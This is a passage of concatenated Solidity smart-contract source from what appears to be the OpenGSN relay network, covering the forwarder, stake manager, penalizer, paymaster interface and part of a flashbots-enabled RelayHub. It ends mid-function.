string public constant EIP712_DOMAIN_TYPE = "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)";
mapping(bytes32 => bool) public typeHashes;
mapping(bytes32 => bool) public domains;
// Nonces of senders, used to prevent replay attacks
mapping(address => uint256) private nonces;
// solhint-disable-next-line no-empty-blocks
receive() external payable {}
function getNonce(address from)
public view override
returns (uint256) {
return nonces[from];
}
constructor() {
string memory requestType = string(abi.encodePacked("ForwardRequest(", GENERIC_PARAMS, ")"));
registerRequestTypeInternal(requestType);
}
function verify(
ForwardRequest calldata req,
bytes32 domainSeparator,
bytes32 requestTypeHash,
bytes calldata suffixData,
bytes calldata sig)
external override view {
_verifyNonce(req);
_verifySig(req, domainSeparator, requestTypeHash, suffixData, sig);
}
function execute(
ForwardRequest calldata req,
bytes32 domainSeparator,
bytes32 requestTypeHash,
bytes calldata suffixData,
bytes calldata sig
)
external payable
override
returns (bool success, bytes memory ret) {
_verifySig(req, domainSeparator, requestTypeHash, suffixData, sig);
_verifyAndUpdateNonce(req);
require(req.validUntil == 0 || req.validUntil > block.number, "FWD: request expired");
uint gasForTransfer = 0;
if ( req.value != 0 ) {
gasForTransfer = 40000; //buffer in case we need to move eth after the transaction.
}
bytes memory callData = abi.encodePacked(req.data, req.from);
require(gasleft()*63/64 >= req.gas + gasForTransfer, "FWD: insufficient gas");
// solhint-disable-next-line avoid-low-level-calls
(success,ret) = req.to.call{gas : req.gas, value : req.value}(callData);
if ( req.value != 0 && address(this).balance>0 ) {
// can't fail: req.from signed (off-chain) the request, so it must be an EOA...
payable(req.from).transfer(address(this).balance);
}
return (success,ret);
}
function _verifyNonce(ForwardRequest calldata req) internal view {
require(nonces[req.from] == req.nonce, "FWD: nonce mismatch");
}
function _verifyAndUpdateNonce(ForwardRequest calldata req) internal {
require(nonces[req.from]++ == req.nonce, "FWD: nonce mismatch");
}
function registerRequestType(string calldata typeName, string calldata typeSuffix) external override {
for (uint i = 0; i < bytes(typeName).length; i++) {
bytes1 c = bytes(typeName)[i];
require(c != "(" && c != ")", "FWD: invalid typename");
}
string memory requestType = string(abi.encodePacked(typeName, "(", GENERIC_PARAMS, ",", typeSuffix));
registerRequestTypeInternal(requestType);
}
function registerDomainSeparator(string calldata name, string calldata version) external override {
uint256 chainId;
/* solhint-disable-next-line no-inline-assembly */
assembly { chainId := chainid() }
bytes memory domainValue = abi.encode(
keccak256(bytes(EIP712_DOMAIN_TYPE)),
keccak256(bytes(name)),
keccak256(bytes(version)),
chainId,
address(this));
bytes32 domainHash = keccak256(domainValue);
domains[domainHash] = true;
emit DomainRegistered(domainHash, domainValue);
}
function registerRequestTypeInternal(string memory requestType) internal {
bytes32 requestTypehash = keccak256(bytes(requestType));
typeHashes[requestTypehash] = true;
emit RequestTypeRegistered(requestTypehash, requestType);
}
function _verifySig(
ForwardRequest calldata req,
bytes32 domainSeparator,
bytes32 requestTypeHash,
bytes calldata suffixData,
bytes calldata sig)
internal
view
{
require(domains[domainSeparator], "FWD: unregistered domain sep.");
require(typeHashes[requestTypeHash], "FWD: unregistered typehash");
bytes32 digest = keccak256(abi.encodePacked(
"\x19\x01", domainSeparator,
keccak256(_getEncoded(req, requestTypeHash, suffixData))
));
require(digest.recover(sig) == req.from, "FWD: signature mismatch");
}
function _getEncoded(
ForwardRequest calldata req,
bytes32 requestTypeHash,
bytes calldata suffixData
)
public
pure
returns (
bytes memory
) {
// we use encodePacked since we append suffixData as-is, not as dynamic param.
// still, we must make sure all first params are encoded as abi.encode()
// would encode them - as 256-bit-wide params.
return abi.encodePacked(
requestTypeHash,
uint256(uint160(req.from)),
uint256(uint160(req.to)),
req.value,
req.gas,
req.nonce,
keccak256(req.data),
req.validUntil,
suffixData
);
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.6;
pragma abicoder v2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./interfaces/IStakeManager.sol";
contract StakeManager is IStakeManager {
using SafeMath for uint256;
string public override versionSM = "2.2.0+opengsn.stakemanager.istakemanager";
uint256 public immutable override maxUnstakeDelay;
/// maps relay managers to their stakes
mapping(address => StakeInfo) public stakes;
function getStakeInfo(address relayManager) external override view returns (StakeInfo memory stakeInfo) {
return stakes[relayManager];
}
/// maps relay managers to a map of addressed of their authorized hubs to the information on that hub
mapping(address => mapping(address => RelayHubInfo)) public authorizedHubs;
constructor(uint256 _maxUnstakeDelay) {
maxUnstakeDelay = _maxUnstakeDelay;
}
function setRelayManagerOwner(address payable owner) external override {
require(owner != address(0), "invalid owner");
require(stakes[msg.sender].owner == address(0), "already owned");
stakes[msg.sender].owner = owner;
emit OwnerSet(msg.sender, owner);
}
/// Put a stake for a relayManager and set its unstake delay. Only the owner can call this function.
/// @param relayManager - address that represents a stake entry and controls relay registrations on relay hubs
/// @param unstakeDelay - number of blocks to elapse before the owner can retrieve the stake after calling 'unlock'
function stakeForRelayManager(address relayManager, uint256 unstakeDelay) external override payable ownerOnly(relayManager) {
require(unstakeDelay >= stakes[relayManager].unstakeDelay, "unstakeDelay cannot be decreased");
require(unstakeDelay <= maxUnstakeDelay, "unstakeDelay too big");
stakes[relayManager].stake += msg.value;
stakes[relayManager].unstakeDelay = unstakeDelay;
emit StakeAdded(relayManager, stakes[relayManager].owner, stakes[relayManager].stake, stakes[relayManager].unstakeDelay);
}
function unlockStake(address relayManager) external override ownerOnly(relayManager) {
StakeInfo storage info = stakes[relayManager];
require(info.withdrawBlock == 0, "already pending");
uint withdrawBlock = block.number.add(info.unstakeDelay);
info.withdrawBlock = withdrawBlock;
emit StakeUnlocked(relayManager, msg.sender, withdrawBlock);
}
function withdrawStake(address relayManager) external override ownerOnly(relayManager) {
StakeInfo storage info = stakes[relayManager];
require(info.withdrawBlock > 0, "Withdrawal is not scheduled");
require(info.withdrawBlock <= block.number, "Withdrawal is not due");
uint256 amount = info.stake;
info.stake = 0;
info.withdrawBlock = 0;
msg.sender.transfer(amount);
emit StakeWithdrawn(relayManager, msg.sender, amount);
}
modifier ownerOnly (address relayManager) {
StakeInfo storage info = stakes[relayManager];
require(info.owner == msg.sender, "not owner");
_;
}
modifier managerOnly () {
StakeInfo storage info = stakes[msg.sender];
require(info.owner != address(0), "not manager");
_;
}
function authorizeHubByOwner(address relayManager, address relayHub) external ownerOnly(relayManager) override {
_authorizeHub(relayManager, relayHub);
}
function authorizeHubByManager(address relayHub) external managerOnly override {
_authorizeHub(msg.sender, relayHub);
}
function _authorizeHub(address relayManager, address relayHub) internal {
authorizedHubs[relayManager][relayHub].removalBlock = uint(-1);
emit HubAuthorized(relayManager, relayHub);
}
function unauthorizeHubByOwner(address relayManager, address relayHub) external override ownerOnly(relayManager) {
_unauthorizeHub(relayManager, relayHub);
}
function unauthorizeHubByManager(address relayHub) external override managerOnly {
_unauthorizeHub(msg.sender, relayHub);
}
function _unauthorizeHub(address relayManager, address relayHub) internal {
RelayHubInfo storage hubInfo = authorizedHubs[relayManager][relayHub];
require(hubInfo.removalBlock == uint(-1), "hub not authorized");
uint256 removalBlock = block.number.add(stakes[relayManager].unstakeDelay);
hubInfo.removalBlock = removalBlock;
emit HubUnauthorized(relayManager, relayHub, removalBlock);
}
function isRelayManagerStaked(address relayManager, address relayHub, uint256 minAmount, uint256 minUnstakeDelay)
external
override
view
returns (bool) {
StakeInfo storage info = stakes[relayManager];
bool isAmountSufficient = info.stake >= minAmount;
bool isDelaySufficient = info.unstakeDelay >= minUnstakeDelay;
bool isStakeLocked = info.withdrawBlock == 0;
bool isHubAuthorized = authorizedHubs[relayManager][relayHub].removalBlock == uint(-1);
return
isAmountSufficient &&
isDelaySufficient &&
isStakeLocked &&
isHubAuthorized;
}
/// Slash the stake of the relay relayManager. In order to prevent stake kidnapping, burns half of stake on the way.
/// @param relayManager - entry to penalize
/// @param beneficiary - address that receives half of the penalty amount
/// @param amount - amount to withdraw from stake
function penalizeRelayManager(address relayManager, address payable beneficiary, uint256 amount) external override {
uint256 removalBlock = authorizedHubs[relayManager][msg.sender].removalBlock;
require(removalBlock != 0, "hub not authorized");
require(removalBlock > block.number, "hub authorization expired");
// Half of the stake will be burned (sent to address 0)
require(stakes[relayManager].stake >= amount, "penalty exceeds stake");
stakes[relayManager].stake = SafeMath.sub(stakes[relayManager].stake, amount);
uint256 toBurn = SafeMath.div(amount, 2);
uint256 reward = SafeMath.sub(amount, toBurn);
// Ether is burned and transferred
address(0).transfer(toBurn);
beneficiary.transfer(reward);
emit StakePenalized(relayManager, beneficiary, reward);
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity >=0.7.6;
pragma abicoder v2;
import "@openzeppelin/contracts/cryptography/ECDSA.sol";
import "./utils/RLPReader.sol";
import "./utils/GsnUtils.sol";
import "./interfaces/IRelayHub.sol";
import "./interfaces/IPenalizer.sol";
contract Penalizer is IPenalizer {
string public override versionPenalizer = "2.2.0+opengsn.penalizer.ipenalizer";
using ECDSA for bytes32;
uint256 public immutable override penalizeBlockDelay;
uint256 public immutable override penalizeBlockExpiration;
constructor(
uint256 _penalizeBlockDelay,
uint256 _penalizeBlockExpiration
) {
penalizeBlockDelay = _penalizeBlockDelay;
penalizeBlockExpiration = _penalizeBlockExpiration;
}
function isTransactionType1(bytes calldata rawTransaction) public pure returns (bool) {
return (uint8(rawTransaction[0]) == 1);
}
function isTransactionTypeValid(bytes calldata rawTransaction) public pure returns(bool) {
uint8 transactionTypeByte = uint8(rawTransaction[0]);
return (transactionTypeByte >= 0xc0 && transactionTypeByte <= 0xfe);
}
function decodeTransaction(bytes calldata rawTransaction) public pure returns (Transaction memory transaction) {
if (isTransactionType1(rawTransaction)) {
(transaction.nonce,
transaction.gasPrice,
transaction.gasLimit,
transaction.to,
transaction.value,
transaction.data) = RLPReader.decodeTransactionType1(rawTransaction);
} else {
(transaction.nonce,
transaction.gasPrice,
transaction.gasLimit,
transaction.to,
transaction.value,
transaction.data) = RLPReader.decodeLegacyTransaction(rawTransaction);
}
return transaction;
}
mapping(bytes32 => uint) public commits;
/**
* any sender can call "commit(keccak(encodedPenalizeFunction))", to make sure
* no-one can front-run it to claim this penalization
*/
function commit(bytes32 commitHash) external override {
uint256 readyBlockNumber = block.number + penalizeBlockDelay;
commits[commitHash] = readyBlockNumber;
emit CommitAdded(msg.sender, commitHash, readyBlockNumber);
}
modifier commitRevealOnly() {
bytes32 commitHash = keccak256(abi.encodePacked(keccak256(msg.data), msg.sender));
uint256 readyBlockNumber = commits[commitHash];
delete commits[commitHash];
// msg.sender can only be fake during off-chain view call, allowing Penalizer process to check transactions
if(msg.sender != address(0)) {
require(readyBlockNumber != 0, "no commit");
require(readyBlockNumber < block.number, "reveal penalize too soon");
require(readyBlockNumber + penalizeBlockExpiration > block.number, "reveal penalize too late");
}
_;
}
function penalizeRepeatedNonce(
bytes calldata unsignedTx1,
bytes calldata signature1,
bytes calldata unsignedTx2,
bytes calldata signature2,
IRelayHub hub,
uint256 randomValue
)
public
override
commitRevealOnly {
(randomValue);
_penalizeRepeatedNonce(unsignedTx1, signature1, unsignedTx2, signature2, hub);
}
function _penalizeRepeatedNonce(
bytes calldata unsignedTx1,
bytes calldata signature1,
bytes calldata unsignedTx2,
bytes calldata signature2,
IRelayHub hub
)
private
{
// If a relay attacked the system by signing multiple transactions with the same nonce
// (so only one is accepted), anyone can grab both transactions from the blockchain and submit them here.
// Check whether unsignedTx1 != unsignedTx2, that both are signed by the same address,
// and that unsignedTx1.nonce == unsignedTx2.nonce.
// If all conditions are met, relay is considered an "offending relay".
// The offending relay will be unregistered immediately, its stake will be forfeited and given
// to the address who reported it (msg.sender), thus incentivizing anyone to report offending relays.
// If reported via a relay, the forfeited stake is split between
// msg.sender (the relay used for reporting) and the address that reported it.
address addr1 = keccak256(unsignedTx1).recover(signature1);
address addr2 = keccak256(unsignedTx2).recover(signature2);
require(addr1 == addr2, "Different signer");
require(addr1 != address(0), "ecrecover failed");
Transaction memory decodedTx1 = decodeTransaction(unsignedTx1);
Transaction memory decodedTx2 = decodeTransaction(unsignedTx2);
// checking that the same nonce is used in both transaction, with both signed by the same address
// and the actual data is different
// note: we compare the hash of the tx to save gas over iterating both byte arrays
require(decodedTx1.nonce == decodedTx2.nonce, "Different nonce");
bytes memory dataToCheck1 =
abi.encodePacked(decodedTx1.data, decodedTx1.gasLimit, decodedTx1.to, decodedTx1.value);
bytes memory dataToCheck2 =
abi.encodePacked(decodedTx2.data, decodedTx2.gasLimit, decodedTx2.to, decodedTx2.value);
require(keccak256(dataToCheck1) != keccak256(dataToCheck2), "tx is equal");
penalize(addr1, hub);
}
function penalizeIllegalTransaction(
bytes calldata unsignedTx,
bytes calldata signature,
IRelayHub hub,
uint256 randomValue
)
public
override
commitRevealOnly {
(randomValue);
_penalizeIllegalTransaction(unsignedTx, signature, hub);
}
function _penalizeIllegalTransaction(
bytes calldata unsignedTx,
bytes calldata signature,
IRelayHub hub
)
private
{
if (isTransactionTypeValid(unsignedTx)) {
Transaction memory decodedTx = decodeTransaction(unsignedTx);
if (decodedTx.to == address(hub)) {
bytes4 selector = GsnUtils.getMethodSig(decodedTx.data);
bool isWrongMethodCall = selector != IRelayHub.relayCall.selector;
bool isGasLimitWrong = GsnUtils.getParam(decodedTx.data, 4) != decodedTx.gasLimit;
require(
isWrongMethodCall || isGasLimitWrong,
"Legal relay transaction");
}
}
address relay = keccak256(unsignedTx).recover(signature);
require(relay != address(0), "ecrecover failed");
penalize(relay, hub);
}
function penalize(address relayWorker, IRelayHub hub) private {
hub.penalize(relayWorker, msg.sender);
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity >=0.7.6;
import "../forwarder/IForwarder.sol";
interface GsnTypes {
/// @notice gasPrice, pctRelayFee and baseRelayFee must be validated inside of the paymaster's preRelayedCall in order not to overpay
struct RelayData {
// if set to true, do not verify the tx.origin is a valid relayer and send reward to block.coinbase
bool isFlashbots;
uint256 gasPrice;
uint256 pctRelayFee;
uint256 baseRelayFee;
address relayWorker;
address paymaster;
address forwarder;
bytes paymasterData;
uint256 clientId;
}
//note: must start with the ForwardRequest to be an extension of the generic forwarder
struct RelayRequest {
IForwarder.ForwardRequest request;
RelayData relayData;
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity >=0.7.6;
pragma abicoder v2;
import "../utils/GsnTypes.sol";
interface IPaymaster {
/**
* @param acceptanceBudget -
* Paymaster expected gas budget to accept (or reject) a request
* This a gas required by any calculations that might need to reject the
* transaction, by preRelayedCall, forwarder and recipient.
* See value in BasePaymaster.PAYMASTER_ACCEPTANCE_BUDGET
* Transaction that gets rejected above that gas usage is on the paymaster's expense.
* As long this value is above preRelayedCallGasLimit (see defaults in BasePaymaster), the
* Paymaster is guaranteed it will never pay for rejected transactions.
* If this value is below preRelayedCallGasLimt, it might might make Paymaster open to a "griefing" attack.
*
* Specifying value too high might make the call rejected by some relayers.
*
* From a Relay's point of view, this is the highest gas value a paymaster might "grief" the relay,
* since the paymaster will pay anything above that (regardless if the tx reverts)
*
* @param preRelayedCallGasLimit - the max gas usage of preRelayedCall. any revert (including OOG)
* of preRelayedCall is a reject by the paymaster.
* as long as acceptanceBudget is above preRelayedCallGasLimit, any such revert (including OOG)
* is not payed by the paymaster.
* @param postRelayedCallGasLimit - the max gas usage of postRelayedCall.
* note that an OOG will revert the transaction, but the paymaster already committed to pay,
* so the relay will get compensated, at the expense of the paymaster
*/
struct GasAndDataLimits {
uint256 acceptanceBudget;
uint256 preRelayedCallGasLimit;
uint256 postRelayedCallGasLimit;
uint256 calldataSizeLimit;
}
/**
* Return the Gas Limits and msg.data max size constants used by the Paymaster.
*/
function getGasAndDataLimits()
external
view
returns (
GasAndDataLimits memory limits
);
function trustedForwarder() external view returns (IForwarder);
/**
* return the relayHub of this contract.
*/
function getHubAddr() external view returns (address);
/**
* Can be used to determine if the contract can pay for incoming calls before making any.
* @return the paymaster's deposit in the RelayHub.
*/
function getRelayHubDeposit() external view returns (uint256);
/**
* Called by Relay (and RelayHub), to validate if the paymaster agrees to pay for this call.
*
* MUST be protected with relayHubOnly() in case it modifies state.
*
* The Paymaster rejects by the following "revert" operations
* - preRelayedCall() method reverts
* - the forwarder reverts because of nonce or signature error
* - the paymaster returned "rejectOnRecipientRevert", and the recipient contract reverted.
* In any of the above cases, all paymaster calls (and recipient call) are reverted.
* In any other case, the paymaster agrees to pay for the gas cost of the transaction (note
* that this includes also postRelayedCall revert)
*
* The rejectOnRecipientRevert flag means the Paymaster "delegate" the rejection to the recipient
* code. It also means the Paymaster trust the recipient to reject fast: both preRelayedCall,
* forwarder check and receipient checks must fit into the GasLimits.acceptanceBudget,
* otherwise the TX is paid by the Paymaster.
*
* @param relayRequest - the full relay request structure
* @param signature - user's EIP712-compatible signature of the {@link relayRequest}.
* Note that in most cases the paymaster shouldn't try use it at all. It is always checked
* by the forwarder immediately after preRelayedCall returns.
* @param approvalData - extra dapp-specific data (e.g. signature from trusted party)
* @param maxPossibleGas - based on values returned from {@link getGasAndDataLimits},
* the RelayHub will calculate the maximum possible amount of gas the user may be charged for.
* In order to convert this value to wei, the Paymaster has to call "relayHub.calculateCharge()"
* return:
* a context to be passed to postRelayedCall
* rejectOnRecipientRevert - TRUE if paymaster want to reject the TX if the recipient reverts.
* FALSE means that rejects by the recipient will be completed on chain, and paid by the paymaster.
* (note that in the latter case, the preRelayedCall and postRelayedCall are not reverted).
*/
function preRelayedCall(
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
uint256 maxPossibleGas
)
external
returns (bytes memory context, bool rejectOnRecipientRevert);
/**
* This method is called after the actual relayed function call.
* It may be used to record the transaction (e.g. charge the caller by some contract logic) for this call.
*
* MUST be protected with relayHubOnly() in case it modifies state.
*
* @param context - the call context, as returned by the preRelayedCall
* @param success - true if the relayed call succeeded, false if it reverted
* @param gasUseWithoutPost - the actual amount of gas used by the entire transaction, EXCEPT
* the gas used by the postRelayedCall itself.
* @param relayData - the relay params of the request. can be used by relayHub.calculateCharge()
*
* Revert in this functions causes a revert of the client's relayed call (and preRelayedCall(), but the Paymaster
* is still committed to pay the relay for the entire transaction.
*/
function postRelayedCall(
bytes calldata context,
bool success,
uint256 gasUseWithoutPost,
GsnTypes.RelayData calldata relayData
) external;
function versionPaymaster() external view returns (string memory);
}
/* solhint-disable avoid-low-level-calls */
/* solhint-disable no-inline-assembly */
/* solhint-disable not-rely-on-time */
/* solhint-disable avoid-tx-origin */
/* solhint-disable bracket-align */
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.6;
pragma abicoder v2;
import "./utils/MinLibBytes.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./utils/GsnUtils.sol";
import "./utils/GsnEip712Library.sol";
import "./utils/RelayHubValidator.sol";
import "./utils/GsnTypes.sol";
import "./interfaces/IRelayHub.sol";
import "./interfaces/IPaymaster.sol";
import "./forwarder/IForwarder.sol";
import "./interfaces/IStakeManager.sol";
contract RelayHub is IRelayHub, Ownable {
using SafeMath for uint256;
string public override versionHub = "2.2.0+opengsn.hub.irelayhub-with-flashbots";
IStakeManager immutable override public stakeManager;
address immutable override public penalizer;
RelayHubConfig private config;
function getConfiguration() public override view returns (RelayHubConfig memory) {
return config;
}
function setConfiguration(RelayHubConfig memory _config) public override onlyOwner {
config = _config;
emit RelayHubConfigured(config);
}
uint256 public constant G_NONZERO = 16;
// maps relay worker's address to its manager's address
mapping(address => address) public override workerToManager;
// maps relay managers to the number of their workers
mapping(address => uint256) public override workerCount;
mapping(address => uint256) private balances;
uint256 public override deprecationBlock = type(uint).max;
constructor (
IStakeManager _stakeManager,
address _penalizer,
uint256 _maxWorkerCount,
uint256 _gasReserve,
uint256 _postOverhead,
uint256 _gasOverhead,
uint256 _maximumRecipientDeposit,
uint256 _minimumUnstakeDelay,
uint256 _minimumStake,
uint256 _dataGasCostPerByte,
uint256 _externalCallDataCostOverhead
) {
stakeManager = _stakeManager;
penalizer = _penalizer;
setConfiguration(RelayHubConfig(
_maxWorkerCount,
_gasReserve,
_postOverhead,
_gasOverhead,
_maximumRecipientDeposit,
_minimumUnstakeDelay,
_minimumStake,
_dataGasCostPerByte,
_externalCallDataCostOverhead
));
}
function registerRelayServer(uint256 baseRelayFee, uint256 pctRelayFee, string calldata url) external override {
address relayManager = msg.sender;
require(
isRelayManagerStaked(relayManager),
"relay manager not staked"
);
require(workerCount[relayManager] > 0, "no relay workers");
emit RelayServerRegistered(relayManager, baseRelayFee, pctRelayFee, url);
}
function addRelayWorkers(address[] calldata newRelayWorkers) external override {
address relayManager = msg.sender;
uint256 newWorkerCount = workerCount[relayManager] + newRelayWorkers.length;
workerCount[relayManager] = newWorkerCount;
require(newWorkerCount <= config.maxWorkerCount, "too many workers");
require(
isRelayManagerStaked(relayManager),
"relay manager not staked"
);
for (uint256 i = 0; i < newRelayWorkers.length; i++) {
require(workerToManager[newRelayWorkers[i]] == address(0), "this worker has a manager");
workerToManager[newRelayWorkers[i]] = relayManager;
}
emit RelayWorkersAdded(relayManager, newRelayWorkers, newWorkerCount);
}
function depositFor(address target) public override payable {
uint256 amount = msg.value;
require(amount <= config.maximumRecipientDeposit, "deposit too big");
balances[target] = balances[target].add(amount);
emit Deposited(target, msg.sender, amount);
}
function balanceOf(address target) external override view returns (uint256) {
return balances[target];
}
function withdraw(uint256 amount, address payable dest) public override {
address payable account = msg.sender;
require(balances[account] >= amount, "insufficient funds");
balances[account] = balances[account].sub(amount);
dest.transfer(amount);
emit Withdrawn(account, dest, amount);
}
function calldataGasCost(uint256 length) public override view returns (uint256) {
return config.dataGasCostPerByte.mul(length);
}
function verifyGasAndDataLimits(
uint256 maxAcceptanceBudget,
GsnTypes.RelayRequest calldata relayRequest,
uint256 initialGasLeft,
uint256 externalGasLimit
)
private
view
returns (IPaymaster.GasAndDataLimits memory gasAndDataLimits, uint256 maxPossibleGas) {
gasAndDataLimits =
IPaymaster(relayRequest.relayData.paymaster).getGasAndDataLimits{gas:50000}();
require(msg.data.length <= gasAndDataLimits.calldataSizeLimit, "msg.data exceeded limit" );
uint256 dataGasCost = calldataGasCost(msg.data.length);
uint256 externalCallDataCost = externalGasLimit - initialGasLeft - config.externalCallDataCostOverhead;
uint256 txDataCostPerByte = externalCallDataCost/msg.data.length;
require(relayRequest.relayData.isFlashbots || txDataCostPerByte <= G_NONZERO, "invalid externalGasLimit");
require(maxAcceptanceBudget >= gasAndDataLimits.acceptanceBudget, "acceptance budget too high");
require(gasAndDataLimits.acceptanceBudget >= gasAndDataLimits.preRelayedCallGasLimit, "acceptance budget too low");
maxPossibleGas =
config.gasOverhead.add(
gasAndDataLimits.preRelayedCallGasLimit).add(
gasAndDataLimits.postRelayedCallGasLimit).add(
relayRequest.request.gas).add(
dataGasCost).add(
externalCallDataCost);
// This transaction must have enough gas to forward the call to the recipient with the requested amount, and not
// run out of gas later in this function.
require(
externalGasLimit >= maxPossibleGas,
"no gas for innerRelayCall");
uint256 maxPossibleCharge = calculateCharge(
maxPossibleGas,
relayRequest.relayData
);
// We don't yet know how much gas will be used by the recipient, so we make sure there are enough funds to pay
// for the maximum possible charge.
require(maxPossibleCharge <= balances[relayRequest.relayData.paymaster],
"Paymaster balance too low");
}
struct RelayCallData {
bool success;
bytes4 functionSelector;
uint256 initialGasLeft;
bytes recipientContext;
bytes relayedCallReturnValue;
IPaymaster.GasAndDataLimits gasAndDataLimits;
RelayCallStatus status;
uint256 innerGasUsed;
uint256 maxPossibleGas;
uint256 gasBeforeInner;
bytes retData;
address relayManager;
uint256 dataGasCost;
}
function relayCall(
uint maxAcceptanceBudget,
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
uint externalGasLimit
)
external
override
returns (bool paymasterAccepted, bytes memory returnValue)
{
RelayCallData memory vars;
vars.initialGasLeft = gasleft();
require(!isDeprecated(), "hub deprecated");
vars.functionSelector = relayRequest.request.data.length>=4 ? MinLibBytes.readBytes4(relayRequest.request.data, 0) : bytes4(0);
require(relayRequest.relayData.isFlashbots ||msg.sender == tx.origin, "relay worker must be EOA");
vars.relayManager = workerToManager[msg.sender];
require(relayRequest.relayData.isFlashbots || vars.relayManager != address(0), "Unknown relay worker");
require(relayRequest.relayData.isFlashbots || relayRequest.relayData.relayWorker == msg.sender, "Not a right worker");
require(
relayRequest.relayData.isFlashbots ||
isRelayManagerStaked(vars.relayManager),
"relay manager not staked"
);
require(relayRequest.relayData.isFlashbots || relayRequest.relayData.gasPrice <= tx.gasprice, "Invalid gas price");
require(relayRequest.relayData.isFlashbots || externalGasLimit <= block.gaslimit, "Impossible gas limit");
(vars.gasAndDataLimits, vars.maxPossibleGas) =
verifyGasAndDataLimits(maxAcceptanceBudget, relayRequest, vars.initialGasLeft, externalGasLimit);
RelayHubValidator.verifyTransactionPacking(relayRequest,signature,approvalData);
{
//How much gas to pass down to innerRelayCall. must be lower than the default 63/64
// actually, min(gasleft*63/64, gasleft-GAS_RESERVE) might be enough.
uint256 innerGasLimit = gasleft()*63/64- config.gasReserve;
vars.gasBeforeInner = gasleft();
uint256 _tmpInitialGas = innerGasLimit + externalGasLimit + config.gasOverhead + config.postOverhead;
// Calls to the recipient are performed atomically inside an inner transaction which may revert in case of
// errors in the recipient. In either case (revert or regular execution) the return data encodes the
// RelayCallStatus value.
(bool success, bytes memory relayCallStatus) = address(this).call{gas:innerGasLimit}(
abi.encodeWithSelector(RelayHub.innerRelayCall.selector, relayRequest, signature, approvalData, vars.gasAndDataLimits,
_tmpInitialGas - gasleft(),
vars.maxPossibleGas
)
);
vars.success = success;
vars.innerGasUsed = vars.gasBeforeInner-gasleft();
(vars.status, vars.relayedCallReturnValue) = abi.decode(relayCallStatus, (RelayCallStatus, bytes));
if ( vars.relayedCallReturnValue.length>0 ) {
emit TransactionResult(vars.status, vars.relayedCallReturnValue);
}
}
{
vars.dataGasCost = calldataGasCost(msg.data.length);
if (!vars.success) {
//Failure cases where the PM doesn't pay
if (vars.status == RelayCallStatus.RejectedByPreRelayed ||
(vars.innerGasUsed <= vars.gasAndDataLimits.acceptanceBudget.add(vars.dataGasCost)) && (
vars.status == RelayCallStatus.RejectedByForwarder ||
vars.status == RelayCallStatus.RejectedByRecipientRevert //can only be thrown if rejectOnRecipientRevert==true
)) {
paymasterAccepted=false;
emit TransactionRejectedByPaymaster(
vars.relayManager,
relayRequest.relayData.paymaster,
relayRequest.request.from,
relayRequest.request.to,
msg.sender,
vars.functionSelector,
vars.innerGasUsed,
vars.relayedCallReturnValue);
return (false, vars.relayedCallReturnValue);
}
}
// We now perform the actual charge calculation, based on the measured gas used
uint256 gasUsed = (externalGasLimit - gasleft()) + config.gasOverhead;
uint256 charge = calculateCharge(gasUsed, relayRequest.relayData);
if (!relayRequest.relayData.isFlashbots){
balances[relayRequest.relayData.paymaster] = balances[relayRequest.relayData.paymaster].sub(charge);
balances[vars.relayManager] = balances[vars.relayManager].add(charge);
} else {
balances[relayRequest.relayData.paymaster] = balances[relayRequest.relayData.paymaster].sub(charge);
// we assume here that gas fees paid by the tx.origin will have to be compensated by the block.coinbase
block.coinbase.transfer(charge);
}
emit TransactionRelayed(
vars.relayManager,
msg.sender,
relayRequest.request.from,
relayRequest.request.to,
relayRequest.relayData.paymaster,
vars.functionSelector,
vars.status,
charge);
return (true, "");
}
}
struct InnerRelayCallData {
uint256 balanceBefore;
bytes32 preReturnValue;
bool relayedCallSuccess;
bytes relayedCallReturnValue;
bytes recipientContext;
bytes data;
bool rejectOnRecipientRevert;
}
function innerRelayCall(
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
IPaymaster.GasAndDataLimits calldata gasAndDataLimits,
uint256 totalInitialGas,
uint256 maxPossibleGas
)
external
returns (RelayCallStatus, bytes memory)
{
InnerRelayCallData memory vars;
// A new gas measurement is performed inside innerRelayCall, since
// due to EIP150 available gas amounts cannot be directly compared across external calls
// This external function can only be called by RelayHub itself, creating an internal transaction. Calls to the
// recipient (preRelayedCall, the relayedCall, and postRelayedCall) are called from inside this transaction.
require(msg.sender == address(this), "Must be called by RelayHub");
// If either pre or post reverts, the whole internal transaction will be reverted, reverting all side effects on
// the recipient. The recipient will still be charged for the used gas by the relay.
// The paymaster is no allowed to withdraw balance from RelayHub during a relayed transaction. We check pre and
// post state to ensure this doesn't happen.
vars.balanceBefore = balances[relayRequest.relayData.paymaster];
// First preRelayedCall is executed.
// Note: we open a new block to avoid growing the stack too much.
vars.data = abi.encodeWithSelector(
IPaymaster.preRelayedCall.selector,
relayRequest, signature, approvalData, maxPossibleGas
);
{
bool success;
bytes memory retData;
(success, retData) = relayRequest.relayData.paymaster.call{gas:gasAndDataLimits.preRelayedCallGasLimit}(vars.data);
if (!success) {
GsnEip712Library.truncateInPlace(retData);
revertWithStatus(RelayCallStatus.RejectedByPreRelayed, retData);
}
(vars.recipientContext, vars.rejectOnRecipientRevert) = abi.decode(retData, (bytes,bool));
}
// The actual relayed call is now executed. The sender's address is appended at the end of the transaction data
{
bool forwarderSuccess;
(forwarderSuccess, vars.relayedCallSuccess, vars.relayedCallReturnValue) = GsnEip712Library.execute(relayRequest, signature);
if ( !forwarderSuccess ) {
revertWithStatus(RelayCallStatus.RejectedByForwarder, vars.relayedCallReturnValue);
}
if (vars.rejectOnRecipientRevert && !vars.relayedCallSuccess) {
// we trusted the recipient, but it reverted...
revertWithStatus(RelayCallStatus.RejectedByRecipientRevert, vars.relayedCallReturnValue);
}
}
// Finally, postRelayedCall is executed, with the relayedCall execution's status and a charge estimate
// We now determine how much the recipient will be charged, to pass this value to postRelayedCall for accurate
// accounting.
vars.data = abi.encodeWithSelector(
